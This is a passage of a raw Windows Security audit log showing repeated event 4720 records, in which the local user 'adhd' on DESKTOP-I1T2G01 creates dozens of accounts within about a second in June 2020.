Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1073</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Walter</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Walter - adhd - - - 4720 - 4477 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.9076010Z'/><EventRecordID>4477</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Marilyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1072</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Marilyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Marilyn - adhd - - - 4720 - 4471 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.8233073Z'/><EventRecordID>4471</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Beau</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1071</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Beau</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Beau - adhd - - - 4720 - 4465 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.7353940Z'/><EventRecordID>4465</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jessica</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1070</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jessica</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jessica - adhd - - - 4720 - 4459 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.6430756Z'/><EventRecordID>4459</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gerald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1069</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gerald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gerald - adhd - - - 4720 - 4453 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.5578409Z'/><EventRecordID>4453</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Stephen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1068</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Stephen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Stephen - adhd - - - 4720 - 4447 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.4675460Z'/><EventRecordID>4447</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Tiffany</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1067</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Tiffany</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Tiffany - adhd - - - 4720 - 4441 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.3861147Z'/><EventRecordID>4441</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Randy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1066</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Randy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Randy - adhd - - - 4720 - 4435 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.2950906Z'/><EventRecordID>4435</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Patricia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1065</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Patricia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Patricia - adhd - - - 4720 - 4429 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.2090981Z'/><EventRecordID>4429</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Heather</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1064</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Heather</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Heather - adhd - - - 4720 - 4423 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.1367413Z'/><EventRecordID>4423</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Henry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1063</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Henry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Henry - adhd - - - 4720 - 4417 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.9685727Z'/><EventRecordID>4417</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Juan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1062</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Juan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Juan - adhd - - - 4720 - 4411 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.8846374Z'/><EventRecordID>4411</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Helen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1061</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Helen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Helen - adhd - - - 4720 - 4405 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.7970356Z'/><EventRecordID>4405</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Emily</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1060</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Emily</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Emily - adhd - - - 4720 - 4399 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.6982081Z'/><EventRecordID>4399</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lawrence</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1059</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lawrence</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lawrence - adhd - - - 4720 - 4393 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.6236986Z'/><EventRecordID>4393</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brian</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1058</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brian</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data 